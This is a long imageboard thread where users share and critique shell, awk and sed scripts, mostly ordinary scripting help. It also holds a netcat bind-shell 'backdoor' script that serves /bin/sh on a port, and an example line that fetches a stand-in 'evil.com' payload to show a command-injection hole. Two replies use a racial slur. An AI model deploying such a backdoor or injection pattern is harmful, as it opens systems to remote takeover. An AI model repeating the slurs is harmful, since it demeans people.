curl -s "$MAINURL" | sed '/div class="results"/,$!d' | sed '/\/.results/,$d' | sed '/class="stealth"/d' | sed '/class="page-next"/d' | sed '/class="page-prev"/d' | sed -n 's/.*href="\([^"]*\).*/\1/p' > $NFILE
while IFS= read -r LINE # READ ITEM URLS LINE BY LINE
do
NAME="$(echo "$LINE" | cut -d'/' -f 3)" # THE ACTUAL NAME OF THE
# ARCHIVE FROM THE LINKS WE GOT WITH THE CURL COMMAND
# FOR STANDARD DOWNLOAD UNCOMMENT THIS AND COMMENT THE OTHERS (DEFAULT)
echo "https://archive.org/compress/$NAME" >> $GFILE # APPENDS THE ACTUAL DOWNLOAD URL TO GFILE
# FOR MP3 AUDIO UNCOMMENT THIS AND COMMENT THE OTHERS
#echo "https://archive.org/compress/$NAME/formats=VBR%20MP3,METADATA,JPEG" >> $GFILE
# FOR OGG AUDIO UNCOMMENT THIS AND COMMENT THE OTHERS
#echo "https://archive.org/compress/$NAME/formats=OGG%20VORBIS,METADATA,JPEG" >> $GFILE
done < "$NFILE"
PGCOUNTER=$(($PGCOUNTER+1)) # GOES TO THE NEXT PAGE IN COLLECTION
done
# USE ARIA2C TO DOWNLOAD LINKS FROM FILE. YOU CAN USE WGET OR CURL WITH THE LIST OF LINKS IN GFILE
aria2c -x 16 -s 16 -i $GFILE
# REMOVE TEMPORARY FILES
rm .names .ialinks
Shogun · 2021-01-16 14:05
>>23968
>>22067
>downloader scripts
plenty of archiving bash scripts hosted on notabug code repo
Liet Kynes · 2021-03-22 22:01
Looking for a good TUI/GUI for shell. Can does it exist?
Hopper · 2021-03-23 04:07
>>25031
What does that even mean? Like an IDE for editing shell scripts? Or you mean something like zenity?
Nobody important · 2021-04-13 11:49
is there a way to define multiple variables with a single awk command? something like A=$1 B=$2 etc ?
Otto Normalverbraucher · 2021-04-13 12:45
>>25416
$ echo '1 2' | gawk '{ a = $1; b = $2; print a + b }'
3
over · 2021-04-13 12:53
>>25417
thx, that was not was i meant
more like this
VALUE_A=$(echo "Hello world" | awk '{print $1}')
VALUE_B=$(echo "Hello world" | awk '{print $2}')
... etc
but in one command
Joey · 2021-04-13 13:09
>>25419
something like this should work
#extra parens make an array
a=( $(echo "hello world" | awk '{ print $1 $3 $4 }') )
b=${a[1]} #first element... ie "hello"
Trinity · 2021-04-13 15:47
>>25419
>thx, that was not was i meant
>more like this
>but in one command
Destructuring assignment is available in the shell in a limited form via read + command substitution + here-documents.
$ read -r a b << EOF
> $(echo "iwakura lain")
> EOF
$ echo $a
iwakura
$ echo $b
lain 1. The closing delimiter, in this case EOF, must be at the start of the line.
2. You can control field splitting via IFS.
https://www.man7.org/linux/man-pages/man1/dash.1.html
William Holtzer · 2021-04-13 20:11
>>25421
Huh, that's actually genius. And it's even kinda sorta robust if you use IFS appropriately. If I didn't hate shell scripts and try to avoid them wherever possible, I would totally use that...
Yu-ichi · 2021-04-14 03:16
>>25416
>is there a way to define multiple variables with a single awk command? something like A=$1 B=$2 etc ?
echo '1 2 3 4'| awk '{ for ( x=1; x <= NF; x++ ) foo[$x] = $x} ' Puts values echoed into array $foo[ ] (though variables are for local use inside of awk - which you may not want I'm guessing).
The Fin · 2021-04-14 03:21
>>25421
Why the extra echo?
read -r a b << EOF
iwakura lain
EOF would do the same, or even use a "here document"...
read -r a b <<< 'iwakura lain' Which is probably more what >>25416 wanted, but I wrote >>25429 anyway because awk was requested.
Ishikura "Tatsu" Tatsuhiko · 2021-04-14 03:40
>>25430
>Why the extra echo?
Because $(echo ...) is a placeholder demo for a more complex pipeline in practice.
bashher · 2021-06-06 18:52
anonfiles is an anonymous file upload site. here's a script that uses their api.
bash
#!/bin/bash
# anonfiles (https://anonfiles.com) is an anonymous file upload site.
# Limit of uploads are:
# 20GB per file
# 500 files or 50GB per hour
# 5,000 files or 100GB per day
# They try their best to keep the files on the site for as long as they can
# Script for uploading and getting information about files in anonfiles.
# using their native API.
# Dependencies for this script: jq, bash, curl.
# If you don't want to use jq, just remove "jq" in other places in the script
# By m**y <m**y@p**l.com> for use by everybody.
# Enjoy. ;)
API_URL='https://api.anonfiles.com/'
PARSED_ARGUMENTS=$(getopt -a -n anonfiles -o u:i: --long upload:,info: -- "$@")
GETOPT_ERRCODE=$?
usage() {
echo "Usage: anonfiles [ -u | --upload ] filename
[ -i | --info ] id"
exit 2
}
if [ "$GETOPT_ERRCODE" != "0" ]; then
usage
fi
eval set -- "$PARSED_ARGUMENTS"
upload() {
curl -F "file=@$1" "${API_URL}upload" | jq
}
get_info() {
curl "https://api.anonfiles.com/v2/file/$1/info" | jq
}
while true; do
case $1 in
-u | --upload ) upload $2 ; shift 2 ;;
-i | --info ) get_info $2 ; shift 2 ;;
-- ) shift
if [ -z $1 ]; then
exit
else
echo "Unexpected option: $1"
usage
fi
esac
done
cond · 2021-06-28 00:06
given the reasons for Bourne's own distaste of bash scripting, are "shell scripts" really a UNIX thing, or are they like Perl and Emacs? (i.e. "UNIX-y" merely by decades of association).
seems like the True-Blue-Unix mentality is:
find yourself often needing to run some commands in sequence or in parallel which have relatively simple input/output relationships? then write a script and be DRY-er. but, do you need a new command, a new tool? then write a C program I'm alluding to ideas like the "hash-table threshold" of course but I don't know if they even go far enough.
kobeni · 2021-10-10 14:56
Here is a 3 line ssl to plain proxy, if you want to replace stunnel.
mkfifo /tmp/socket.ssl
nc -lp 8080 < /tmp/socket.ssl |\
openssl s_client -quiet -state -connect lainchan.org:443 >/tmp/socket.ssl
And here a posix replacement of >>1138 if you use busybox ash on a server.
alias please='doas `history |tail -2|sed -n "1s/\s*[0-9]*\s*//p"`'
William Holtzer · 2021-10-10 15:04
>>26404
True-Blue-Unix was barely functional, and there's a good reason we don't use it anymore.
Lady 3Jane.. · 2021-10-10 18:26
simple little one liner
qrencode -t UTF8 "$(xclip -o -selection clipboard)" | dmenu -l 90
Stallman · 2021-10-24 07:18
i know how to "grep" with awk, but i fail to combine it with "-F" and "NR"
basically i want to get the first occurence of the last field behind a slash while grepping a string
something like this, but can i cramp it all into one awk call and get rid of grep?
echo "$STRING" | grep '/home/lainon/something/' | awk -F "/" 'NR==1 {print $NF}'
H.R. Giger · 2021-10-24 10:11
>>28196
Read a book, nigger.
awk -F/ '/\/home\/lainon\/something\// {print $NF; exit}'
or
sed -n '\#/home/lainon/something/# {s#.*/##p; q}
nil · 2021-10-24 15:14
>>28201
thanks fren <3
actually at&t's awk book from 1988 sits behind me in the shelf, i just can't get the gist of it
that book is a fuarrrking mess
William Holtzer · 2021-10-25 09:23
>>28207
Or just read the POSIX manpage for awk.
Miho Iwakura · 2021-11-05 19:58
Hi. This is my first ever program.
Going into this wanted to use head and shuf but I thought since sed and head both have a line output limiter maybe shuf would too.
AND IT DID!
I also wanted to use a file descriptor for the tempfile, but I could only get one line of output :( anyways
for me it does the needful. :)
I didn't like going to websites to roll and didn't want to download packages I would forget about, so making my own helps me remember.
#!/bin/sh
# Rolls a $2 sided die $1 times
# as in "Roll 3 d20s."
# Input interpretation: There are two inputs. Both inputs are postive integers. The first input is the
# line count of the output. The second input is related to the content of the output.
# Output interpretation: The output is a line containing a random number less than or equal to the second input.
# The line count is equal to the first input.
dicefile=$(mktemp /tmp/roll.XXXXXXX)
seq $2 > $dicefile
for x in $(seq $1) ;
do
shuf -n 1 $dicefile &
done
wait && rm "$dicefile"
renames · 2021-11-07 15:01
Tips to beginners:
* Use shellcheck.
* Always `set -eu` (or `set -eu -o pipefail` if you're not POSIX) at the top of your scripts.
* Try to use POSIX sh with a minimum of additions and document them; because if you tie yourself to a specifc shell, better use an actually good scripting language (Python, Tcl, Scheme). This means reading https://pubs.opengroup.org/onlinepubs/9699919799/idx/shell.html, downloading the POSIX manpages via your package manager and using `man 1p find` before `man [1] find`.
* Learn to use trap EXIT.
* Learn awk, sed and make.
* Make yourself a library to source in all your scripts.
See my script repo for how to do it right and portably: https://git.sr.ht/~q3cpma/scripts
(note, because POSIX is retarded, EACH script contains pure sh `readlink -f` implementation to be able to source neighbouring files even when being symlinked)/
ulysses · 2021-11-08 11:24
>>28455
set -eu would have made writing my scripts so easier (and avoided a lot of data loss), thanks lain for letting me know.
I'm definitely always using this
Ivan Horvat · 2022-02-05 10:46
i hope awk counts
BEGIN {
addtoarray = 0;
wc = 0;
}
/^<span data\-element="phrase"/ {
addtoarray = 1;
}
$0 !~ /^<span data-element="phrase"/ && $addtoarray == 1 {
words[wc++] = $0;
}
/^<\/span>$/ && $addtoarray == 1 {
addtoarray = 0;
}
END {
for(i = 0; i < wc; ++i) {
printf("%s; ", words[i]);
}
} 1
2
<span data-element="phrase"
3
</span>
4
(^c)
1;
why it just prints 1?
i want to parse a website that put every tag in a separate line and for each span starting with <span data-element="phrase" there's a word i want to get. i think bs4 is overkill for this
Koichiro · 2022-02-05 17:14
>>29971
> put every tag in a separate line and for each span
Insert newline at each "<" and ">"?
bs4 (Beautiful Soup 4 Python framework for parsing HTML) covers all general cases.
I used to make up vi regexes to do what you're doing, then moved to bs4 because HTML is so poorly coded and I was coding exceptions for random typos in the HTML.
Zhora · 2022-02-06 03:13
>>29971
* Initializing addtoarray and wc is redundant
* You don't use $ to access variables in AWK; this'll actually evaluate to $1 (first field)
* Terminating semicolons aren't needed, this isn't C
* $0 !~ /.../ => ! /.../
* Never use regexps to parse arborescent data; either use xpath if it's sufficient or any proper language with arrays/lists and an XML library
Git gud, noob.
Chani · 2022-02-06 04:48
>>29975
>Insert newline at each "<" and ">"?
you mean pretending it's only one line?
for example <span>\nword\n</span>
then grabing word with /<span>\n(.+)\n<\/span>
/
i thought in this too but i can't do it
>>29979
>Initializing addtoarray and wc is redundant
when i was trying to figure out i thought variables start as the empty string that are true in value so addtoarray was returning true making the program add everything to array
(before just returning 1 it was returning every line)
i wouldn't say like you said but thank you anyway
Neuromancer · 2022-02-06 11:31
>>29980
>you mean pretending it's only one line?
For general cases, you don't know if the HTML is returned as one (very very long) line, or has arbitrary line breaks. (This is one of the reasons I ended up moving to Python & BS4).
So within vi I would do something like
<code>
:%s/\(<keep>\)/\r\1\r/g
</code>
..the g at the end applies the search replace globally along the line, instead of the first instance. Note, the pattern match ".*" is greedy by default, and likely you'll probably need non-greedy pattern matching if there is a case you think ".*" is needed. Obviously all this is if you opt for using vi or sed instead of awk as you are currently doing.
(I've forgotten my awk from lack of use, but you might find you're using sed to get your input HTML into a consistent format for your awk program = might as well go the Python & BS4 route)
null · 2022-06-25 20:52
>>28455
I don't see $SH_LIB_DIR specified in POSIX so any POSIX complaint program or random program can just overwrite it.
Donna Hawthorne · 2022-06-26 02:07
>>31616
You mean a program run into the script? Shouldn't matter, as it is used only at the beginning. Or you mean before the script is run? It's your responsability to ensure SH_LIB_DIR has a correct value; and if you're talking about name collisions, do a sed -i and get yourself a better one, there's nothing I can do about this.
Look at https://git.sr.ht/~q3cpma/scripts/commit/e32621af57a57f504c605c8b983ae34e669fad09, and understand that this is the only solution that doesn't require pasting a readlink -f emulation function into EACH fuarrrkING SCRIPT.
William Holtzer · 2022-06-30 00:20
I've implemented a server and a client for a different server in sh. Rather than learn how to avoid issues with variables, I write them without any. I noticed this resembles John Backus' FP, if the environment and primitives were designed by idiots instead. It's a particularly unpleasant language to use for anything.
Anyway, here they are.
Spooky · 2022-06-30 05:10
>>31703
I suggest always inserting a newline after | in long pipelines, really improve readability.
Morpheus · 2022-06-30 10:22
>>31703
I haven't the faintest trace of a clue what any of that does, but I'm captivated by how your comments line up in the second one.
A few minutes ago I was trying to finally wrap my head around generalized algebraic datatypes. Damn them now and forever; my new goal in life is to write perfectly parallel comments. Already I spend more time mulling over my wording and looking up synonyms than designing my program's logic, to no avail; my comments always have irregular right edges with gaps of ten characters at a time. The road ahead is long and steep.
Joe Bloggs · 2022-06-30 17:17
>>31705
Well, they're three and two lines respectively; I'm not too worried about it.
>>31711
Oh, that's nothing; look at the Gopher hole under the mentioned domain name, and hosted by that first program, and be impressed.
Look into Ada, since it rewards giving good names to things.
Cereal Killer · 2022-07-01 00:00
this will download runelite and chmod a file for you to save into your /usr/bin/ (Was just gonna add that but don't like mucking with the bin all the time)
#!/bin/sh
wget "https://github.com/runelite/launcher/releases/download/2.4.2/RuneLite.jar"
touch run-runelite.sh && echo "#!/bin/sh" >> run-runelite.sh && echo -ne "java -jar " >> run-runelite.sh && echo -ne "Runelite.jar" >> run-runelite.sh && echo -ne "RuneLite.jar" >> run-runelite.sh && printf "File output--\n" && printf "\n" && cat run-runelite.sh && printf "\n" && printf "\n" && echo "Look good?"
PS3='Pick a Number: '
choices=("Yes" "No/Remove" "Quit")
select choice in "${choices[@]}"; do
case $choice in
"Yes")
chmod +x run-runelite.sh && echo "To launch type ./run-runelite.sh"
break
#
;;
"No/Remove")
echo "Deleting.." && rm run-runelite.sh && echo "Done.. Restart me"
#
break
;;
"Quit")
echo "User requested exit"
exit
;;
*) echo "invalid option $REPLY";;
esac
done
Cat Mother · 2022-07-01 00:44
>>31719
>wget
I'd suggest making a wrapper to choose between curl, wget and fetch (BSD) according to what's available.
>touch
Not needed when using redirections.
>echo/printf abomination
cat <<-EOF >run-runelite.sh
#!/bin/sh
java -jar Runelite.jar
EOF >choices=(...)
Arrays are a ksh/bash/zsh feature, use a proper shebang.
>break in case
This isn't C.
2/10, see >>28455 too.
Spooky · 2022-07-01 00:47
>>31720
Whoops, didn't see the select, break is okay then. By the way, here are some tips:
curl/wget/fetch wrapper: https://git.sr.ht/~q3cpma/posix-build/tree/master/item/build_util.sh#L586
POSIX select-like thing: https://git.sr.ht/~q3cpma/scripts/tree/master/item/util.sh#L438
Koos van der Merwe · 2022-07-01 06:37
>>31720
>>31721
ngl first attempt at something more than 3 lines so i appreciate all the info.
>I'd suggest making a wrapper to choose between curl, wget and fetch
That's a great idea
>Not needed when using redirections.
Sorry confused here, You mean if i remove the touch my echo " " >> run will make the file correct?
>echo/printf abomination
Yeah i kinda struggled there lol, Will fix that
>Arrays are a ksh/bash/zsh feature, use a proper shebang.
Alright
>By the way, here are some tips:
Thank you ! looking at these now.
progn · 2022-07-01 07:15
>>31721
>https://git.sr.ht/~q3cpma/scripts/tree/master/item/util.sh#L438
isn't local not posix ?
Junichi Fujiwara · 2022-07-02 00:56
>>31722
Not that anon but
>Not needed when using redirections.
>Sorry confused here, You mean if i remove the touch my echo " " >> run
> will make the file correct?
Yes if the file doesn't exist.
I think you probably want ">" rather than ">>" though.
">" redirect output to file, if it doesn't exist then create file, and if it already exists scrub it out and start again (overwrite).
">>" redirect output to file, if it doesn't exist then create file, and if it already exists append output at the end of the file.
If you're making choices in your scripts read up on things like
readline
getopts
(and use getops with a "set" loop before it to convert long options to short ones e.g. --version into -v)
Agent Smith · 2022-07-03 11:19
>>1115
Thank you, Been using this as a skeleton to other small scripts.. Here's one to help compile sfml if [ -z $1 ]
then
read -p "File: " file
else
file=$1
fi
g++ -c $file -o out && g++ out -o output -lsfml-graphics -lsfml-window -lsfml-system Amazing how helpful small things like this can be
Tyrell Wellick · 2022-07-04 00:30
>>31723
It is not, see the README. If you add a typeset fallback for ksh, it's in practice supported even by hardcode shells like dash/busybox ash.
Cutter · 2022-07-04 00:33
>>1115
read -p isn't POSIX (and really not available everywhere). Use a proper shebang or simply roll your own prompt (just printf 'file: ' before the read).
The Phantom Phreak · 2022-07-18 18:00
guys wtf why is there an RCE in my program is my bash backdoored?
x=`curl evil.com/evil`
[[ $x - eq 1 ]]
Nguoi La · 2022-08-26 14:05
>>1111
I've seen lots of "useful" things posted ITT but let me impart something that once you have you simple won't be able to do without
chode () {
uptime | perl -naE 'say+8,"="x$F[2],D'
} you can thank me later
Arisu Mizuki · 2022-08-26 15:31
>>32541
explain wat it does why would i run that
Ivan Petrov · 2022-08-31 01:08
>>31938
Here the contents of $x is executed. So if it is set to, let's say, "/bin/sh", your program will run a shell.
Write `[ "$x" -eq 1 ]` instead
Agent Jones · 2022-08-31 20:39
>>32544
>”chode”
>what could it be?
ASCIIdick
bit · 2022-08-31 20:54
>>32593
>>32544
if you want something less useful, maybe you'd like this bash script that draws a DNA/RNA helix given a file in FASTA format?
Jet Black · 2022-11-20 12:20
>>31703
I've improved that second program. I've given a formatting option, and now one command may ask many questions. I'm reluctant to learn any of the sh control structures I can avoid, so the program is tail-recursive with tail-call optimization, and the base case is silent in that stupid UNIX tradition. I was rather forced to use two variables, but I control all possible values for them, so issues can't occur with them.
Dox · 2023-07-25 16:42
>>32595
I love a good hack soykafpost. Especially of the shell varieties. I was going to write one today, but I've been distracted learning more practical things.
unrelated:
pic is outside my window kraaaing.
Spooky · 2023-09-01 18:57
>>1111
>>27891
this is really clever i love it
Roger Pollack · 2023-09-01 19:06
Here is a simple netcat backdoor, with a while loop, which allows to reconnect if the connection drops;
you test it by running
~y nc 127.0.0.1 8080
#!/bin/sh
###
### ::security
### netcat backdoor on port 8080 by default
### y ncdoor &optional PORT
###
port=$1
[ -z $port ] && port=8080
while true;do
nc -lp $port -c /bin/sh
done
#EOF
renames · 2023-10-11 16:32
>>36504
man bash | less -p '^ +shopt \['
(if this fails then just do man bash then in the pager type /^SHELL BUILT then Enter and scroll down to the 'shopt' entry
synchronized · 2023-10-11 16:42
>>37421
P.S. rate my .bashrc, first `time` feeling sh[y] might rm later
export HISTCONTROL="ignoredups:ignorespace"
export HISTSIZE=500000
export HISTTIMEFORMAT="[%Y%m%d %H%M%S] "
export PATH=~/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:$PATH
export TERM=xterm-256color
################
shopt -s autocd
# `cd dir` -> `dir`
shopt -s checkwinsize
# Check the window size after each command, and update LINES and COLUMNS if the size has changed.
shopt -s globstar
# `find . -name 'foo' -exec bar {} \;` -> `bar ./**/foo`
shopt -s histappend
# vs. overwrite
shopt -s histverify
# edit history substitution before running
set -o vi
################
alias a='append' # see append()
alias cap='sp 1 ; st -F "`now`.png"'
alias caps='cap -s'
alias dd='dd status=progress'
alias dg='dig +noal +an +au'
alias dgs='dg +shor'
alias e='nvim'
alias f='ff' # see ff()
alias feh='feh -rqF.d'
alias g='grep'
alias h='history'
alias i='ip'
alias k='kill'
alias ka='killall'
alias l='less'
alias lc='ls -FArtloch' # ehheheheh (indicator, almost-all, reverse-time, long, omit group, show+sort by ctime, human readable)
alias ll='ls -Flah' # indicator, long, all, human-readable
alias llt='ls -Flahtr' # + sort by mtime, reverse (newest last)
alias lls='ls -FlaShr' # s/modtime/filesize/ (largest last)
alias llx='ls -FlaXh' # sort alpha by extension
alias now='date -Is | s -E 's/.{6}$//''
alias s='sed'
alias sc='systemctl '
alias lu='list-unit-files'
alias sp='sleep'
alias st='scrot'
alias t='tail'
alias x='exit'
################
blogget () {
wget -mkEHpnp -R "*?showComment" -D "$1,1.bp.blogspot.com,2.bp.blogspot.com,3.bp.blogspot.com,4.bp.blogspot.com" $1
}
bin() {
curl -sH "Accept-Version: 3" "https://lookup.binlist.net/$1" | sed 's/},/},\n/g' | sed 's/:{/\n:{/'
}
append() {
read i; sed -i '$s#$#\n'"$i"'#' $1
}
# Append one line to file. Usage: append [FILE]
# Provide input and press Enter.
# $: Address notation: Last line of input
# s: Substitute (replace)
# #: Arbitrary delimiter
# $: Replace ends of lines (in this case, the end of the last line only)...
# #: Delimiter
# \n: ...with a newline...
# ...and then whatever we type after running "append"
# Delimiter
# $1: First argument
function ff {
if [[ -z $1 || -z $2 ]]; then
echo "Usage: ff /search/path [-i case-insensitive-filename] [-n Case-Sensitive-Filename]"
fi
for arg in "$2"; do
case $arg in
-i) fname='-iname';;
-n) fname='-name';;
*) echo "Usage: ff /search/path [-i case-insensitive-filename] [-n Case-Sensitive-Filename]";;
esac
done
find $1 ! -readable -prune -o $fname $3 -print 2>&1 | grep -vE '\/proc\/'
}
mad() { #Generate one random MAC address
for i in {1..6}; do\
perl -we 'my $num = rand(0xff); printf("%0*x:", 2, $num);';\
done | sed 's/:$//g'
}
=() { #no way this is going to work lol
bc <<<"$@"
}
#~ > = 7*6
#42
#~ > = 4^2
#16
#~ > = 8%3
#2
#~ > = 9==9
#1
#~ > = 9\>=6
#1
#~ > = 2*2+2
#6
#~ > = 2*(2+2)
#8
#haha oh wow
function randlines () { #randomly reorder lines of input
read -d $'\04' i ; printf "$i\n" | sort -R
}
function sus () {
echo '
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⣤⣶⣦⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠛⠉⠙⠛⠛⠛⠛⠻⢿⣿⣷⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠈⢻⣿⣿⡄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣸⣿⡏⠀⠀⠀⣠⣶⣾⣿⣿⣿⠿⠿⠿⢿⣿⣿⣿⣄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠁⠀⠀⢰⣿⣿⣯⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣷⡄⠀
⠀⠀⣀⣤⣴⣶⣶⣿⡟⠀⠀⠀⢸⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⠀
⠀⢰⣿⡟⠋⠉⣹⣿⡇⠀⠀⠀⠘⣿⣿⣿⣿⣷⣦⣤⣤⣤⣶⣶⣶⣶⣿⣿⣿⠀
⠀⢸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀
⠀⣸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠉⠻⠿⣿⣿⣿⣿⡿⠿⠿⠛⢻⣿⡇⠀⠀
⠀⠸⣿⣧⡀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀
⠀⠀⠛⢿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⣰⣿⣿⣷⣶⣶⣶⣶⠶⠀⢠⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⣽⣿⡏⠁⠀⠀⢸⣿⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⢹⣿⡆⠀⠀⠀⣸⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⣦⣄⣀⣠⣴⣿⣿⠁⠀⠈⠻⣿⣿⣿⣿⡿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⠿⠿⠿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'
sudo su;
}
function wi {
whois $1 | grep -vE 'REDACTED|Withheld|query the RDDS|ICANN Whois|Whois status codes|Terms of Use'
}
################
xmodmap /home/v/.xmodmap
case "$TERM" in
xterm-color|xterm-256color) color_prompt=yes;;
esac
force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then color_prompt=yes
else color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1="\[\033[0;31m\]\342\224\214\342\224\200\$([[ \$? != 0 ]] && echo \"[\[\033[0;31m\]\342\234\227\[\033[0;37m\]]\342\224\200\")[$(if [[ ${EUID} == 0 ]]; then echo '\[\033[01;31m\]root\[\033[01;33m\]@\[\033[01;96m\]\h'; else echo '\[\033[0;39m\]\u\[\033[01;33m\]@\[\033[01;96m\]\h'; fi)\[\033[0;31m\]]\342\224\200[\[\033[0;32m\]\w\[\033[0;31m\]]\n\[\033[0;31m\]\342\224\224\342\224\200\342\224\200\342\225\274 \[\033[0m\]\[\e[01;33m\]\\$\[\e[0m\] "
else
PS1='┌──[\u@\h]─[\w]\n└──╼ \$ '
fi
if [ "$color_prompt" = yes ]; then
man() {
env \
LESS_TERMCAP_mb=$'\e[01;31m' \
LESS_TERMCAP_md=$'\e[01;31m' \
LESS_TERMCAP_me=$'\e[0m' \
LESS_TERMCAP_se=$'\e[0m' \
LESS_TERMCAP_so=$'\e[01;44;33m' \
LESS_TERMCAP_ue=$'\e[0m' \
LESS_TERMCAP_us=$'\e[01;32m' \
man "$@"
}
fi
unset color_prompt force_color_prompt
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
#alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
#
## alias grep='grep --color=always'
# alias fgrep='fgrep --color=auto'
# alias egrep='egrep --color=auto'
fi
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
Cutter · 2023-10-14 11:13
>>37422
shellcheck your stuff, mate. Lots of quoting missing in functions. Also, since you're in bash, use
local variables, doofus.
>bin
You can combine multiple sed commands in that case: `sed 'cmd1; cmd2'`.
>ff
Your failure cases (with echo) don't return, do a return 1.
Might be a better idea to 2>/dev/null instead of `grep -v` the combined find
output (you don't need -E or / escaping in that grep expr, btw; -F would be a good idea).
Wasn't the `! -readable` here for that exact purpose? You're probably missing
`-type d ! -executable` in the sauce; something like
`find / \( \( -type d ! -executable \) -o ! -readable \) -prune -o -print`).
>mad
You don't need perl, you know? Can be done in POSIX sh as long as you have /dev/[u]random and od, or
just AWK.
>randlines
Why $'\04'? EOT?
>if ! shopt -oq posix
You were already using non POSIX features in the script.
Von Neumann · 2023-10-14 13:16
>>37441
Never heard of shellcheck (I've only been using Linux since 2005, go easy on me) but if it's as good at busting my balls as the W3C markup validator, I bet it might be a good time.
>quoting missing
>local variables
>return 1
I'll look into it but I confess my first reaction to things like this tends to be something like "but it works" or "or what?" As in, "what's the worst that could happen" and not "what are you going to do about it?" But if you are that passionate about bash syntax then feel free to take it either way.
>2>/dev/null
You would think so, you could be right. I don't remember if there was a reason I did that. Was I trying to still see matching binaries or other possible stderr or something? Now I have to go check what everything does and figure it out, lol. You'd think by now I would have figured out I can't even get away with not commenting a one-liner.
>don't need perl
but I want it
(and I did that while I had no internet connection and couldn't find a bash rand() equivalent by digging around in man pages etc., clever idea to just parse /dev/urandom though)
>EOT?
So you can type/paste at will until ^D
>already using non POSIX
That one shipped with the distro
>multiple sed commands
Wrote that before I learned about that, will update
thx
x<->y · 2023-10-15 13:54
>>37444
>>quoting missing
>>local variables
>>return 1
>I'll look into it but I confess my first reaction to things like this tends to be something like "but it works" or "or what?" As in, "what's the worst that could happen" and not "what are you going to do about it?" But if you are that passionate about bash syntax then feel free to take it either way.
>quoting missing
Your function suddenly doesn't work when getting input with whitespace in it.
>local variables
Your functions override variables from the parent shell (try `bash -c 'var=1; f() { var=2; }; f; echo $var'`). Can really lead to hard-to-debug failures when using them in loops and such.
>return 1
Your function continues with an undefined state or errors if you have set -eu.
Stop being a PHP/bash tier nigger and learn to at least code correctly (if not well).
dictionary · 2023-10-26 20:10
>>1127
python3 -m http.server
does this in one command but thats very impressive
Jim Hilger · 2023-11-10 12:36
Shogun 2: Erectric Boogaroo · 2023-11-18 12:13
function helpfix () {
if [[ $? != 0 ]]; then
fc -nl -1 | grep -- "-h" && fc -s -- "-h"="--help"
fi
}
export PROMPT_COMMAND=helpfix
protected · 2024-11-23 17:39
a lot of quality in this thread
echo "scale=1000;4*a (1)"|bc -l pi to 1000 decimal places
McCarthy · 2024-12-26 17:44
>>40481
For those curious, this computes a(1) = arctan(1) = pi/4 and multiplies it by 4. It mentions it in the bc man page if you search for "-l".
Debbie Charteris · 2025-02-28 02:00
>>1111
I just compiled Gnu AWK from source (for LFS purposes). I noticed a funny file in the doc dir: "AWK For AI Programming"! I have attached a copy of it to this post.
AWK is also systems programming language!
>https://github.com/arnoldrobbins/awk-sys-prog
If you are interested in learning more AWK, you should buy the The AWK Programming Language, Second Edition book and/or the Sed & AWK Oreilly book.
>https://www.awk.dev (get the book source code. It includes code for a toy programming language interpreter in AWK, among other things)
>https://www.drdobbs.com/open-source/m1-a-mini-macro-processor/200001791 (article about the Simple m1 Macro Processor)
P.S.
The GAWK manual is great, even for beginners!
>https://www.gnu.org/software/gawk/manual/
m1 from "Sed & AWK" book
#! /bin/awk -f
# NAME
#
# m1
#
# USAGE
#
# awk -f m1.awk [file...]
#
# DESCRIPTION
#
# M1 copies its input file(s) to its output unchanged except as modified by
# certain "macro expressions." The following lines define macros for
# subsequent processing:
#
# @comment Any text
# @@ same as @comment
# @define name value
# @default name value set if name undefined
# @include filename
# @if varname include subsequent text if varname != 0
# @unless varname include subsequent text if varname == 0
# @fi terminate @if or @unless
# @ignore DELIM ignore input until line that begins with DELIM
# @stderr stuff send diagnostics to standard error
#
# A definition may extend across many lines by ending each line with
# a backslash, thus quoting the following newline.
#
# Any occurrence of @name@ in the input is replaced in the output by
# the corresponding value.
#
# @name at beginning of line is treated the same as @name@.
#
# BUGS
#
# M1 is three steps lower than m4. You'll probably miss something
# you have learned to expect.
#
# AUTHOR
#
# Jon L. Bentley, jlb@research.bell-labs.com
#
function error(s) {
print "m1 error: " s | "cat 1>&2"; exit 1
}
function dofile(fname, savefile, savebuffer, newstring) {
if (fname in activefiles)
error("recursively reading file: " fname)
activefiles[fname] = 1
savefile = file; file = fname
